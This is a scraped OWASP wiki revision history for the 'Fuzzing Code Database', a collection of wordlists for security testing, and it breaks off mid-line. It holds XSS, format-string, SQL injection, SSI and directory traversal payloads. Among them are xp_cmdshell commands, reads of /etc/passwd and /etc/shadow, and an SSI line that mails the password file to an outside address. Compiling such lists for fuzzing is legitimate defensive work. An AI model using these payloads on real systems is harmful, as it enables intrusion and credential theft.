DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80022 2010-03-17T01:50:43Z

<p>Adam.muntner: /* Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) = */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> == Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> 